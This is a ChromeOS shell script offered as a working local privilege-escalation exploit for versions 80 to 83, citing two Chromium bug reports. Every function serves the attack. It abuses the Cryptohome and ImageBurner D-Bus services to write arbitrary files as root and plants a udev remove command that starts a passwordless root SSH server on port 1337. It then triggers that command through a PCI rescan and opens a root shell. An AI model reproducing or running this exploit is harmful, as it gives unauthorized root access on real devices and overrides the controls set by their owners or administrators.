80.sh 2.9 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394
  1. # privesc v80 hyperskid NO ARC NO SSHFS NO BINARIES
  2. # made by Rory McNamara and OlyB, improved by rainestorme
  3. # works on v80 through v83
  4. # https://crbug.com/1072233 (udev command execution)
  5. # https://crbug.com/1099390 (ImageBurner file write)
  6. get_salty_username() {
  7. dbus-send --system --print-reply --dest=org.chromium.Cryptohome /org/chromium/Cryptohome org.chromium.CryptohomeInterface.GetSanitizedUsername string:$1 | grep string | cut -d'"' -f2
  8. }
  9. dbus_pack_user() {
  10. user=$1
  11. packeduser=$(echo -n ${user} | hexdump -e '1/1 "0x%02x,"' -v | head -c -1)
  12. packedlen=$(printf '%x' ${#user})
  13. echo "0x${packedlen},${packeduser}"
  14. }
  15. stage_sshd() {
  16. # set up a fake ssh server using the system sshd and enabling passwordless login for root with the provided key
  17. if [ ! -e /tmp/ssh_host_rsa_key ]; then
  18. ssh-keygen -f /tmp/ssh_host_rsa_key -N '' -t rsa >/dev/null
  19. mkdir /tmp/root/
  20. cp /tmp/ssh_host_rsa_key.pub /tmp/root/k
  21. fi
  22. cat > /tmp/sshd_config <<-EOF
  23. AuthorizedKeysFile /tmp/%u/k
  24. StrictModes no
  25. HostKey /tmp/ssh_host_rsa_key
  26. Port 1337
  27. EOF
  28. rm -f /home/chronos/user/.ssh/known_hosts
  29. }
  30. runasroot() {
  31. ssh -p 1337 -i /tmp/ssh_host_rsa_key -o StrictHostKeyChecking=no root@127.0.0.1 "$@"
  32. }
  33. MountEx() {
  34. packeduser=$1
  35. dbus-send --system --print-reply --dest=org.chromium.Cryptohome /org/chromium/Cryptohome org.chromium.CryptohomeInterface.MountEx \
  36. array:byte:0x12,${packeduser} \
  37. array:byte:0xa,0x16,0xa,0xe,0x8,0x0,0x1a,0xa,0x8,0x1,0x10,0x1,0x18,0x1,0x20,0x1,0x28,0x0,0x12,0x4,0x74,0x65,0x73,0x74 \
  38. array:byte:0x8,0x0,0x12,0x12,0xa,0x10,0xa,0x8,0x8,0x0,0x12,0x4,0x74,0x65,0x73,0x74,0x12,0x4,0x74,0x65,0x73,0x74,0x20,0x0,0x30,0x0 >/dev/null
  39. }
  40. UnmountEx() {
  41. dbus-send --system --print-reply --dest=org.chromium.Cryptohome /org/chromium/Cryptohome org.chromium.CryptohomeInterface.UnmountEx \
  42. array:byte: >/dev/null
  43. }
  44. getdevaccess() {
  45. packed=$(dbus_pack_user ${tgtuser})
  46. gcache="/home/user/${salty_user}/GCache/v2"
  47. MountEx ${packed}
  48. rmdir ${gcache} 2>/dev/null
  49. rm ${gcache} 2>/dev/null
  50. ln -s /dev ${gcache}
  51. UnmountEx
  52. MountEx ${packed}
  53. }
  54. root_filewrite() {
  55. tempfile="/home/chronos/u-${salty_user}/Downloads/filewrite"
  56. echo $1 > ${tempfile}
  57. ln -s $2 /dev/sdz
  58. dbus-send --system --print-reply --dest=org.chromium.ImageBurner /org/chromium/ImageBurner org.chromium.ImageBurnerInterface.BurnImage string:${tempfile} string:/dev/sdz > /dev/null
  59. sleep 0.5
  60. rm /dev/sdz ${tempfile}
  61. }
  62. writefiles() {
  63. root_filewrite "E:REMOVE_CMD=/bin/sh -c '/usr/sbin/sshd -f /tmp/sshd_config'" /run/udev/data/+pci\:0000\:00\:00.0
  64. root_filewrite 1 /sys/devices/pci0000\:00/0000\:00\:00.0/remove
  65. root_filewrite 1 /sys/devices/pci0000\:00/pci_bus/0000\:00/rescan
  66. }
  67. tgtuser=$(hexdump -e '1/8 "%02x\n"' -n 8 /dev/urandom)@test.test
  68. salty_user="$(get_salty_username ${tgtuser})"
  69. echo "Staging sshd..."
  70. stage_sshd
  71. echo "Getting /dev access..."
  72. getdevaccess
  73. echo "Writing files..."
  74. writefiles
  75. echo "Providing root shell..."
  76. runasroot